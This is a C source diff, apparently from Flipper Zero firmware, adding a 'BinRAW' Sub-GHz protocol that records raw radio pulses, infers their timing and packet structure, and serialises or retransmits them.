+            if(ind >= BIN_RAW_MAX_MARKUP_COUNT) {
+                FURI_LOG_E(TAG, "Markup overflow");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            byte_count += subghz_protocol_bin_raw_get_full_byte(temp_data);
+            if(byte_count > BIN_RAW_BUF_DATA_SIZE) {
+                FURI_LOG_E(TAG, "Receive buffer overflow");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+
+            instance->data_markup[ind].bit_count = temp_data;
+            instance->data_markup[ind].byte_bias = byte_bias;
+            byte_bias += subghz_protocol_bin_raw_get_full_byte(temp_data);
+
+            if(!flipper_format_read_hex(
+                   flipper_format,
+                   "Data_RAW",
+                   instance->data + instance->data_markup[ind].byte_bias,
+                   subghz_protocol_bin_raw_get_full_byte(temp_data))) {
+                instance->data_markup[ind].bit_count = 0;
+                FURI_LOG_E(TAG, "Missing Data_RAW");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            ind++;
+        }
+
+#ifdef BIN_RAW_DEBUG
+        uint16_t i = 0;
+        bin_raw_debug_tag(TAG, "Download data to encoder\r\n");
+        bin_raw_debug("\tind  byte_bias\tbit_count\t\tbin_data");
+        while((i < BIN_RAW_MAX_MARKUP_COUNT) && (instance->data_markup[i].bit_count != 0)) {
+            bin_raw_debug(
+                "\r\n\t%d\t%d\t%d :\t",
+                i,
+                instance->data_markup[i].byte_bias,
+                instance->data_markup[i].bit_count);
+            for(uint16_t y = instance->data_markup[i].byte_bias;
+                y < instance->data_markup[i].byte_bias +
+                        subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count);
+                y++) {
+                bin_raw_debug("%02X ", instance->data[y]);
+            }
+            i++;
+        }
+        bin_raw_debug("\r\n\r\n");
+#endif
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_bin_raw_get_upload(instance)) {
+            res = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(0);
+
+    return res;
+}
+
+void subghz_protocol_encoder_bin_raw_stop(void* context) {
+    SubGhzProtocolEncoderBinRAW* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_bin_raw_yield(void* context) {
+    SubGhzProtocolEncoderBinRAW* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_bin_raw_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderBinRAW* instance = malloc(sizeof(SubGhzProtocolDecoderBinRAW));
+    instance->base.protocol = &subghz_protocol_bin_raw;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->data_raw_ind = 0;
+    instance->data_raw = malloc(BIN_RAW_BUF_RAW_SIZE * sizeof(int32_t));
+    instance->data = malloc(BIN_RAW_BUF_RAW_SIZE * sizeof(uint8_t));
+    memset(instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+    instance->adaptive_threshold_rssi = BIN_RAW_THRESHOLD_RSSI;
+    return instance;
+}
+
+void subghz_protocol_decoder_bin_raw_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+    free(instance->data_raw);
+    free(instance->data);
+    free(instance);
+}
+
+void subghz_protocol_decoder_bin_raw_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+#ifdef BIN_RAW_DEBUG
+    UNUSED(instance);
+#else
+    instance->decoder.parser_step = BinRAWDecoderStepNoParse;
+    instance->data_raw_ind = 0;
+#endif
+}
+
+void subghz_protocol_decoder_bin_raw_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+
+    if(instance->decoder.parser_step == BinRAWDecoderStepWrite) {
+        if(instance->data_raw_ind == BIN_RAW_BUF_RAW_SIZE) {
+            instance->decoder.parser_step = BinRAWDecoderStepBufFull;
+        } else {
+            instance->data_raw[instance->data_raw_ind++] = (level ? duration : -duration);
+        }
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzProtocolDecoderBinRAW* instance
+ */
+static bool
+    subghz_protocol_bin_raw_check_remote_controller(SubGhzProtocolDecoderBinRAW* instance) {
+    struct {
+        float data;
+        uint16_t count;
+    } classes[BIN_RAW_SEARCH_CLASSES];
+
+    size_t ind = 0;
+
+    memset(classes, 0x00, sizeof(classes));
+
+    uint16_t data_markup_ind = 0;
+    memset(instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+
+    if(instance->data_raw_ind < 512) {
+        ind =
+            instance->data_raw_ind -
+            100; //there is usually garbage at the end of the record, we exclude it from the classification
+    } else {
+        ind = 512;
+    }
+
+    //sort the durations to find the shortest correlated interval
+    for(size_t i = 0; i < ind; i++) {
+        for(size_t k = 0; k < BIN_RAW_SEARCH_CLASSES; k++) {
+            if(classes[k].count == 0) {
+                classes[k].data = (float)(abs(instance->data_raw[i]));
+                classes[k].count++;
+                break;
+            } else if(
+                DURATION_DIFF((float)(abs(instance->data_raw[i])), (classes[k].data)) <
+                (classes[k].data / 4)) { //if the test value does not differ by more than 25%
+                classes[k].data += ((float)(abs(instance->data_raw[i])) - classes[k].data) *
+                                   0.05f; //running average k=0.05
+                classes[k].count++;
+                break;
+            }
+        }
+    }
+
+    // if(classes[BIN_RAW_SEARCH_CLASSES - 1].count != 0) {
+    //     //filling the classifier, it means that they received an unclean signal
+    //     return false;
+    // }
+
+    //looking for the minimum te with an occurrence greater than BIN_RAW_TE_MIN_COUNT
+    instance->te = subghz_protocol_bin_raw_const.te_long * 2;
+
+    bool te_ok = false;
+    uint16_t gap_ind = 0;
+    uint16_t gap_delta = 0;
+    uint32_t gap = 0;
+    int data_temp = 0;
+    BinRAWType bin_raw_type = BinRAWTypeUnknown;
+
+    //sort by number of occurrences
+    bool swap = true;
+    while(swap) { //-V1044
+        swap = false;
+        for(size_t i = 1; i < BIN_RAW_SEARCH_CLASSES; i++) {
+            if(classes[i].count > classes[i - 1].count) {
+                uint32_t data = classes[i - 1].data;
+                uint32_t count = classes[i - 1].count;
+                classes[i - 1].data = classes[i].data;
+                classes[i - 1].count = classes[i].count;
+                classes[i].data = data;
+                classes[i].count = count;
+                swap = true;
+            }
+        }
+    }
+#ifdef BIN_RAW_DEBUG
+    bin_raw_debug_tag(TAG, "Sorted durations\r\n");
+    bin_raw_debug("\t\tind\tcount\tus\r\n");
+    for(size_t k = 0; k < BIN_RAW_SEARCH_CLASSES; k++) {
+        bin_raw_debug("\t\t%zu\t%u\t%lu\r\n", k, classes[k].count, (uint32_t)classes[k].data);
+    }
+    bin_raw_debug("\r\n");
+#endif
+    if((classes[0].count > BIN_RAW_TE_MIN_COUNT) && (classes[1].count == 0)) {
+        //adopted only the preamble
+        instance->te = (uint32_t)classes[0].data;
+        te_ok = true;
+        gap = 0; //gap no
+    } else {
+        //take the 2 most common durations
+        //check that there are enough
+        if((classes[0].count < BIN_RAW_TE_MIN_COUNT) ||
+           (classes[1].count < (BIN_RAW_TE_MIN_COUNT >> 1)))
+            return false;
+        //arrange the first 2 date values in ascending order
+        if(classes[0].data > classes[1].data) {
+            uint32_t data = classes[1].data;
+            classes[0].data = classes[1].data;
+            classes[1].data = data;
+        }
+
+        //determine the value to be corrected
+        for(uint8_t k = 1; k < 5; k++) {
+            float delta = (classes[1].data / (classes[0].data / k));
+            bin_raw_debug_tag(TAG, "K_div= %f\r\n", (double)(delta));
+            delta -= (uint32_t)delta;
+
+            if((delta < 0.20f) || (delta > 0.80f)) {
+                instance->te = (uint32_t)classes[0].data / k;
+                bin_raw_debug_tag(TAG, "K= %d\r\n", k);
+                te_ok = true; //found a correlated duration
+                break;
+            }
+        }
+        if(!te_ok) {
+            //did not find the minimum TE satisfying the condition
+            return false;
+        }
+        bin_raw_debug_tag(TAG, "TE= %lu\r\n\r\n", instance->te);
+
+        //looking for a gap
+        for(size_t k = 2; k < BIN_RAW_SEARCH_CLASSES; k++) {
+            if((classes[k].count > 2) && (classes[k].data > gap)) {
+                gap = (uint32_t)classes[k].data;
+                gap_delta = gap / 5; //calculate 20% deviation from ideal value
+            }
+        }
+
+        if((gap / instance->te) <
+           10) { //make an assumption, the longest gap should be more than 10 TE
+            gap = 0; //check that our signal has a gap greater than 10*TE
+            bin_raw_type = BinRAWTypeNoGap;
+        } else {
+            bin_raw_type = BinRAWTypeGap;
+            //looking for the last occurrence of gap
+            ind = instance->data_raw_ind - 1;
+            while((ind > 0) &&
+                  (DURATION_DIFF(abs(instance->data_raw[ind]), (int32_t)gap) > gap_delta)) {
+                ind--;
+            }
+            gap_ind = ind;
+        }
+    }
+
+    //if we consider that there is a gap, then we divide the signal with respect to this gap
+    //processing input data from the end
+    if(bin_raw_type == BinRAWTypeGap) {
+        bin_raw_debug_tag(TAG, "Tinted sequence\r\n");
+        ind = (BIN_RAW_BUF_DATA_SIZE * 8);
+        uint16_t bit_count = 0;
+        do {
+            gap_ind--;
+            data_temp = (int)(roundf((float)(instance->data_raw[gap_ind]) / instance->te));
+            bin_raw_debug("%d ", data_temp);
+            if(data_temp == 0) bit_count++; //there is noise in the package
+            for(size_t i = 0; i < (size_t)abs(data_temp); i++) {
+                bit_count++;
+                if(ind) {
+                    ind--;
+                } else {
+                    break;
+                }
+                if(data_temp > 0) {
+                    subghz_protocol_blocks_set_bit_array(
+                        true, instance->data, ind, BIN_RAW_BUF_DATA_SIZE);
+                } else {
+                    subghz_protocol_blocks_set_bit_array(
+                        false, instance->data, ind, BIN_RAW_BUF_DATA_SIZE);
+                }
+            }
+            //split into full bytes if gap is caught
+            if(DURATION_DIFF(abs(instance->data_raw[gap_ind]), (int32_t)gap) < gap_delta) {
+                instance->data_markup[data_markup_ind].byte_bias = ind >> 3;
+                instance->data_markup[data_markup_ind++].bit_count = bit_count;
+                bit_count = 0;
+
+                if(data_markup_ind == BIN_RAW_MAX_MARKUP_COUNT) break;
+                ind &= 0xFFFFFFF8; //jump to the pre whole byte //-V784
+            }
+        } while(gap_ind != 0);
+        if((data_markup_ind != BIN_RAW_MAX_MARKUP_COUNT) && (ind != 0)) {
+            instance->data_markup[data_markup_ind].byte_bias = ind >> 3;
+            instance->data_markup[data_markup_ind++].bit_count = bit_count;
+        }
+
+        bin_raw_debug("\r\n\t count bit= %zu\r\n\r\n", (BIN_RAW_BUF_DATA_SIZE * 8) - ind);
+
+        //reset the classifier and classify the received data
+        memset(classes, 0x00, sizeof(classes));
+
+        bin_raw_debug_tag(TAG, "Sort the found pieces by the number of bits in them\r\n");
+        for(size_t i = 0; i < data_markup_ind; i++) {
+            for(size_t k = 0; k < BIN_RAW_SEARCH_CLASSES; k++) {
+                if(classes[k].count == 0) {
+                    classes[k].data = instance->data_markup[i].bit_count;
+                    classes[k].count++;
+                    break;
+                } else if(instance->data_markup[i].bit_count == (uint16_t)classes[k].data) {
+                    classes[k].count++;
+                    break;
+                }
+            }
+        }
+
+#ifdef BIN_RAW_DEBUG
+        bin_raw_debug("\t\tind\tcount\tus\r\n");
+        for(size_t k = 0; k < BIN_RAW_SEARCH_CLASSES; k++) {
+            bin_raw_debug("\t\t%zu\t%u\t%lu\r\n", k, classes[k].count, (uint32_t)classes[k].data);
+        }
+        bin_raw_debug("\r\n");
+#endif
+
+        //choose the value with the maximum repetition
+        data_temp = 0;
+        for(size_t i = 0; i < BIN_RAW_SEARCH_CLASSES; i++) {
+            if((classes[i].count > 1) && (data_temp < classes[i].count))
+                data_temp = (int)classes[i].data;
+        }
+
+        //if(data_markup_ind == 0) return false;
+
+#ifdef BIN_RAW_DEBUG
+        //output in reverse order
+        bin_raw_debug_tag(TAG, "Found sequences\r\n");
+        bin_raw_debug("\tind  byte_bias\tbit_count\t\tbin_data\r\n");
+        uint16_t data_markup_ind_temp = data_markup_ind;
+        if(data_markup_ind) {
+            data_markup_ind_temp--;
+            for(size_t i = (ind / 8); i < BIN_RAW_BUF_DATA_SIZE; i++) {
+                if(instance->data_markup[data_markup_ind_temp].byte_bias == i) {
+                    bin_raw_debug(
+                        "\r\n\t%d\t%d\t%d :\t",
+                        data_markup_ind_temp,
+                        instance->data_markup[data_markup_ind_temp].byte_bias,
+                        instance->data_markup[data_markup_ind_temp].bit_count);
+                    if(data_markup_ind_temp != 0) data_markup_ind_temp--;
+                }
+                bin_raw_debug("%02X ", instance->data[i]);
+            }
+            bin_raw_debug("\r\n\r\n");
+        }
+        //compare data in chunks with the same number of bits
+        bin_raw_debug_tag(TAG, "Analyze sequences of long %d bit\r\n\r\n", data_temp);
+#endif
+
+        //if(data_temp == 0) data_temp = (int)classes[0].data;
+
+        if(data_temp != 0) {
+            //check that data in transmission is repeated every packet
+            for(uint16_t i = 0; i < data_markup_ind - 1; i++) {
+                if((instance->data_markup[i].bit_count == data_temp) &&
+                   (instance->data_markup[i + 1].bit_count == data_temp)) {
+                    //if the number of bits in adjacent parcels is the same, compare the data
+                    bin_raw_debug_tag(
+                        TAG,
+                        "Comparison of neighboring sequences ind_1=%d ind_2=%d %02X=%02X .... %02X=%02X\r\n",
+                        i,
+                        i + 1,
+                        instance->data[instance->data_markup[i].byte_bias],
+                        instance->data[instance->data_markup[i + 1].byte_bias],
+                        instance->data
+                            [instance->data_markup[i].byte_bias +
+                             subghz_protocol_bin_raw_get_full_byte(
+                                 instance->data_markup[i].bit_count) -
+                             1],
+                        instance->data
+                            [instance->data_markup[i + 1].byte_bias +
+                             subghz_protocol_bin_raw_get_full_byte(
+                                 instance->data_markup[i + 1].bit_count) -
+                             1]);
+
+                    uint16_t byte_count =
+                        subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count);
+                    if(memcmp(
+                           instance->data + instance->data_markup[i].byte_bias,
+                           instance->data + instance->data_markup[i + 1].byte_bias,
+                           byte_count - 1) == 0) {
+                        bin_raw_debug_tag(
+                            TAG, "Match found bin_raw_type=BinRAWTypeGapRecurring\r\n\r\n");
+
+                        //place in 1 element the offset to valid data
+                        instance->data_markup[0].bit_count = instance->data_markup[i].bit_count;
+                        instance->data_markup[0].byte_bias = instance->data_markup[i].byte_bias;
+                        //markup end sign
+                        instance->data_markup[1].bit_count = 0;
+                        instance->data_markup[1].byte_bias = 0;
+
+                        bin_raw_type = BinRAWTypeGapRecurring;
+                        i = data_markup_ind;
+                        break;
+                    }
+                }
+            }
+        }
+
+        if(bin_raw_type == BinRAWTypeGap) {
+            // check that retry occurs every n packets
+            for(uint16_t i = 0; i < data_markup_ind - 2; i++) {
+                uint16_t byte_count =
+                    subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count);
+                for(uint16_t y = i + 1; y < data_markup_ind - 1; y++) {
+                    bin_raw_debug_tag(
+                        TAG,
+                        "Comparison every N sequences ind_1=%d ind_2=%d %02X=%02X .... %02X=%02X\r\n",
+                        i,
+                        y,
+                        instance->data[instance->data_markup[i].byte_bias],
+                        instance->data[instance->data_markup[y].byte_bias],
+                        instance->data
+                            [instance->data_markup[i].byte_bias +
+                             subghz_protocol_bin_raw_get_full_byte(
+                                 instance->data_markup[i].bit_count) -
+                             1],
+                        instance->data
+                            [instance->data_markup[y].byte_bias +
+                             subghz_protocol_bin_raw_get_full_byte(
+                                 instance->data_markup[y].bit_count) -
+                             1]);
+
+                    if(byte_count ==
+                       subghz_protocol_bin_raw_get_full_byte(
+                           instance->data_markup[y].bit_count)) { //if the length in bytes matches
+
+                        if((memcmp(
+                                instance->data + instance->data_markup[i].byte_bias,
+                                instance->data + instance->data_markup[y].byte_bias,
+                                byte_count - 1) == 0) &&
+                           (memcmp(
+                                instance->data + instance->data_markup[i + 1].byte_bias,
+                                instance->data + instance->data_markup[y + 1].byte_bias,
+                                byte_count - 1) == 0)) {
+                            uint8_t index = 0;
+#ifdef BIN_RAW_DEBUG
+                            bin_raw_debug_tag(
+                                TAG, "Match found bin_raw_type=BinRAWTypeGapRolling\r\n\r\n");
+                            //output in reverse order
+                            bin_raw_debug("\tind  byte_bias\tbit_count\t\tbin_data\r\n");
+                            index = y - 1;
+                            for(size_t z = instance->data_markup[y].byte_bias + byte_count;
+                                z < instance->data_markup[i].byte_bias + byte_count;
+                                z++) {
+                                if(instance->data_markup[index].byte_bias == z) {
+                                    bin_raw_debug(
+                                        "\r\n\t%d\t%d\t%d :\t",
+                                        index,
+                                        instance->data_markup[index].byte_bias,
+                                        instance->data_markup[index].bit_count);
+                                    if(index != 0) index--;
+                                }
+                                bin_raw_debug("%02X ", instance->data[z]);
+                            }
+
+                            bin_raw_debug("\r\n\r\n");
+#endif
+                            BinRAW_Markup markup_temp[BIN_RAW_MAX_MARKUP_COUNT];
+                            memcpy(
+                                markup_temp,
+                                instance->data_markup,
+                                BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+                            memset(
+                                instance->data_markup,
+                                0x00,
+                                BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+
+                            for(index = i; index < y; index++) {
+                                instance->data_markup[index - i].bit_count =
+                                    markup_temp[y - index - 1].bit_count;
+                                instance->data_markup[index - i].byte_bias =
+                                    markup_temp[y - index - 1].byte_bias;
+                            }
+
+                            bin_raw_type = BinRAWTypeGapRolling;
+                            i = data_markup_ind;
+                            break;
+                        }
+                    }
+                }
+            }
+        }
+        if(bin_raw_type == BinRAWTypeGap) {
+            if(data_temp != 0) { //there are sequences with the same number of bits
+
+                BinRAW_Markup markup_temp[BIN_RAW_MAX_MARKUP_COUNT];
+                memcpy(
+                    markup_temp,
+                    instance->data_markup,
+                    BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+                memset(
+                    instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+                uint16_t byte_count = subghz_protocol_bin_raw_get_full_byte(data_temp);
+                uint16_t index = 0;
+                uint16_t it = BIN_RAW_MAX_MARKUP_COUNT;
+                do {
+                    it--;
+                    if(subghz_protocol_bin_raw_get_full_byte(markup_temp[it].bit_count) ==
+                       byte_count) {
+                        instance->data_markup[index].bit_count = markup_temp[it].bit_count;
+                        instance->data_markup[index].byte_bias = markup_temp[it].byte_bias;
+                        index++;
+                        bin_raw_type = BinRAWTypeGapUnknown;
+                    }
+                } while(it != 0);
+            }
+        }
+
+        if(bin_raw_type != BinRAWTypeGap)
+            return true;
+        else
+            return false;
+
+    } else {
+        // if bin_raw_type == BinRAWTypeGap
+        bin_raw_debug_tag(TAG, "Sequence analysis without gap\r\n");
+        ind = 0;
+        for(size_t i = 0; i < instance->data_raw_ind; i++) {
+            int data_temp = (int)(roundf((float)(instance->data_raw[i]) / instance->te));
+            if(data_temp == 0) break; //found an interval 2 times shorter than TE, this is noise
+            bin_raw_debug("%d  ", data_temp);
+
+            for(size_t k = 0; k < (size_t)abs(data_temp); k++) {
+                if(data_temp > 0) {
+                    subghz_protocol_blocks_set_bit_array(
+                        true, instance->data, ind++, BIN_RAW_BUF_DATA_SIZE);
+                } else {
+                    subghz_protocol_blocks_set_bit_array(
+                        false, instance->data, ind++, BIN_RAW_BUF_DATA_SIZE);
+                }
+                if(ind == BIN_RAW_BUF_DATA_SIZE * 8) {
+                    i = instance->data_raw_ind;
+                    break;
+                }
+            }
+        }
+
+        if(ind != 0) {
+            bin_raw_type = BinRAWTypeNoGap;
+            //right alignment
+            uint8_t bit_bias = (subghz_protocol_bin_raw_get_full_byte(ind) << 3) - ind;
+#ifdef BIN_RAW_DEBUG
+            bin_raw_debug(
+                "\r\n\t count bit= %zu\tcount full byte= %d\tbias bit= %d\r\n\r\n",
+                ind,
+                subghz_protocol_bin_raw_get_full_byte(ind),
+                bit_bias);
+
+            for(size_t i = 0; i < subghz_protocol_bin_raw_get_full_byte(ind); i++) {
+                bin_raw_debug("%02X ", instance->data[i]);
+            }
+            bin_raw_debug("\r\n\r\n");
+#endif
+            //checking that the received sequence contains useful data
+            bool data_check = false;
+            for(size_t i = 0; i < subghz_protocol_bin_raw_get_full_byte(ind); i++) {
+                if(instance->data[i] != 0) {
+                    data_check = true;
+                    break;
+                }
+            }
+
+            if(data_check) {
+                for(size_t i = subghz_protocol_bin_raw_get_full_byte(ind) - 1; i > 0; i--) {
+                    instance->data[i] = (instance->data[i - 1] << (8 - bit_bias)) |
+                                        (instance->data[i] >> bit_bias);
+                }
+                instance->data[0] = (instance->data[0] >> bit_bias);
+
+#ifdef BIN_RAW_DEBUG
+                bin_raw_debug_tag(TAG, "Data right alignment\r\n");
+                for(size_t i = 0; i < subghz_protocol_bin_raw_get_full_byte(ind); i++) {
+                    bin_raw_debug("%02X ", instance->data[i]);
+                }
+                bin_raw_debug("\r\n\r\n");
+#endif
+                instance->data_markup[0].bit_count = ind;
+                instance->data_markup[0].byte_bias = 0;
+
+                return true;
+            } else {
+                return false;
+            }
+        } else {
+            return false;
+        }
+    }
+    return false;
+}
+
+void subghz_protocol_decoder_bin_raw_data_input_rssi(
+    SubGhzProtocolDecoderBinRAW* instance,
+    float rssi) {
+    furi_check(instance);
+    switch(instance->decoder.parser_step) {
+    case BinRAWDecoderStepReset:
+
+        bin_raw_debug("%ld %ld :", (int32_t)rssi, (int32_t)instance->adaptive_threshold_rssi);
+        if(rssi > (instance->adaptive_threshold_rssi + BIN_RAW_DELTA_RSSI)) {
+            instance->data_raw_ind = 0;
+            memset(instance->data_raw, 0x00, BIN_RAW_BUF_RAW_SIZE * sizeof(int32_t));
+            memset(instance->data, 0x00, BIN_RAW_BUF_RAW_SIZE * sizeof(uint8_t));
+            instance->decoder.parser_step = BinRAWDecoderStepWrite;
+            bin_raw_debug_tag(TAG, "RSSI\r\n");
+        } else {
+            //adaptive noise level adjustment
+            instance->adaptive_threshold_rssi += (rssi - instance->adaptive_threshold_rssi) * 0.2f;
+        }
+        break;
+
+    case BinRAWDecoderStepBufFull:
+    case BinRAWDecoderStepWrite:
+#ifdef BIN_RAW_DEBUG
+        if(rssi > (instance->adaptive_threshold_rssi + BIN_RAW_DELTA_RSSI)) {
+            bin_raw_debug("\033[0;32m%ld \033[0m ", (int32_t)rssi);
+        } else {
+            bin_raw_debug("%ld ", (int32_t)rssi);
+        }
+#endif
+        if(rssi < instance->adaptive_threshold_rssi + BIN_RAW_DELTA_RSSI) {
+#ifdef BIN_RAW_DEBUG
+            bin_raw_debug("\r\n\r\n");
+            bin_raw_debug_tag(TAG, "Data for analysis, positive high, negative low, us\r\n");
+            for(size_t i = 0; i < instance->data_raw_ind; i++) {
+                bin_raw_debug("%ld ", instance->data_raw[i]);
+            }
+            bin_raw_debug("\r\n\t count data= %zu\r\n\r\n", instance->data_raw_ind);
+#endif
+            instance->decoder.parser_step = BinRAWDecoderStepReset;
+            instance->generic.data_count_bit = 0;
+            if(instance->data_raw_ind >= BIN_RAW_BUF_MIN_DATA_COUNT) {
+                if(subghz_protocol_bin_raw_check_remote_controller(instance)) {
+                    bin_raw_debug_tag(TAG, "Sequence found\r\n");
+                    bin_raw_debug("\tind  byte_bias\tbit_count\t\tbin_data");
+                    uint16_t i = 0;
+                    while((i < BIN_RAW_MAX_MARKUP_COUNT) &&
+                          (instance->data_markup[i].bit_count != 0)) {
+                        instance->generic.data_count_bit += instance->data_markup[i].bit_count;
+#ifdef BIN_RAW_DEBUG
+                        bin_raw_debug(
+                            "\r\n\t%d\t%d\t%d :\t",
+                            i,
+                            instance->data_markup[i].byte_bias,
+                            instance->data_markup[i].bit_count);
+                        for(uint16_t y = instance->data_markup[i].byte_bias;
+                            y < instance->data_markup[i].byte_bias +
+                                    subghz_protocol_bin_raw_get_full_byte(
+                                        instance->data_markup[i].bit_count);
+                            y++) {
+                            bin_raw_debug("%02X ", instance->data[y]);
+                        }
+#endif
+                        i++;
+                    }
+                    bin_raw_debug("\r\n");
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+            }
+        }
+        break;
+
+    default:
+        //if instance->decoder.parser_step == BinRAWDecoderStepNoParse or others, restore the initial state
+        if(rssi < instance->adaptive_threshold_rssi + BIN_RAW_DELTA_RSSI) {
+            instance->decoder.parser_step = BinRAWDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_bin_raw_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+    return subghz_protocol_blocks_add_bytes(
+        instance->data + instance->data_markup[0].byte_bias,
+        subghz_protocol_bin_raw_get_full_byte(instance->data_markup[0].bit_count));
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_bin_raw_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    do {
+        stream_clean(flipper_format_get_raw_stream(flipper_format));
+        if(!flipper_format_write_header_cstr(
+               flipper_format, SUBGHZ_KEY_FILE_TYPE, SUBGHZ_KEY_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Unable to add header");
+            res = SubGhzProtocolStatusErrorParserHeader;
+            break;
+        }
+
+        if(!flipper_format_write_uint32(flipper_format, "Frequency", &preset->frequency, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Frequency");
+            res = SubGhzProtocolStatusErrorParserFrequency;
+            break;
+        }
+
+        subghz_block_generic_get_preset_name(furi_string_get_cstr(preset->name), temp_str);
+        if(!flipper_format_write_string_cstr(
+               flipper_format, "Preset", furi_string_get_cstr(temp_str))) {
+            FURI_LOG_E(TAG, "Unable to add Preset");
+            res = SubGhzProtocolStatusErrorParserPreset;
+            break;
+        }
+        if(!strcmp(furi_string_get_cstr(temp_str), "FuriHalSubGhzPresetCustom")) {
+            if(!flipper_format_write_string_cstr(
+                   flipper_format, "Custom_preset_module", "CC1101")) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_module");
+                res = SubGhzProtocolStatusErrorParserCustomPreset;
+                break;
+            }
+            if(!flipper_format_write_hex(
+                   flipper_format, "Custom_preset_data", preset->data, preset->data_size)) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_data");
+                res = SubGhzProtocolStatusErrorParserCustomPreset;
+                break;
+            }
+        }
+        if(!flipper_format_write_string_cstr(
+               flipper_format, "Protocol", instance->generic.protocol_name)) {
+            FURI_LOG_E(TAG, "Unable to add Protocol");
+            res = SubGhzProtocolStatusErrorParserProtocolName;
+            break;
+        }
+
+        uint32_t temp = instance->generic.data_count_bit;
+        if(!flipper_format_write_uint32(flipper_format, "Bit", &temp, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Bit");
+            res = SubGhzProtocolStatusErrorParserBitCount;
+            break;
+        }
+
+        if(!flipper_format_write_uint32(flipper_format, "TE", &instance->te, 1)) {
+            FURI_LOG_E(TAG, "Unable to add TE");
+            res = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+
+        uint16_t i = 0;
+        while((i < BIN_RAW_MAX_MARKUP_COUNT) && (instance->data_markup[i].bit_count != 0)) {
+            temp = instance->data_markup[i].bit_count;
+            if(!flipper_format_write_uint32(flipper_format, "Bit_RAW", &temp, 1)) {
+                FURI_LOG_E(TAG, "Bit_RAW");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            if(!flipper_format_write_hex(
+                   flipper_format,
+                   "Data_RAW",
+                   instance->data + instance->data_markup[i].byte_bias,
+                   subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count))) {
+                FURI_LOG_E(TAG, "Unable to add Data_RAW");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            i++;
+        }
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+    furi_string_free(temp_str);
+    return res;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    uint32_t temp_data = 0;
+
+    do {
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "Bit", (uint32_t*)&temp_data, 1)) {
+            FURI_LOG_E(TAG, "Missing Bit");
+            res = SubGhzProtocolStatusErrorParserBitCount;
+            break;
+        }
+
+        instance->generic.data_count_bit = (uint16_t)temp_data;
+
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            res = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+
+        temp_data = 0;
+        uint16_t ind = 0;
+        uint16_t byte_bias = 0;
+        uint16_t byte_count = 0;
+        memset(instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
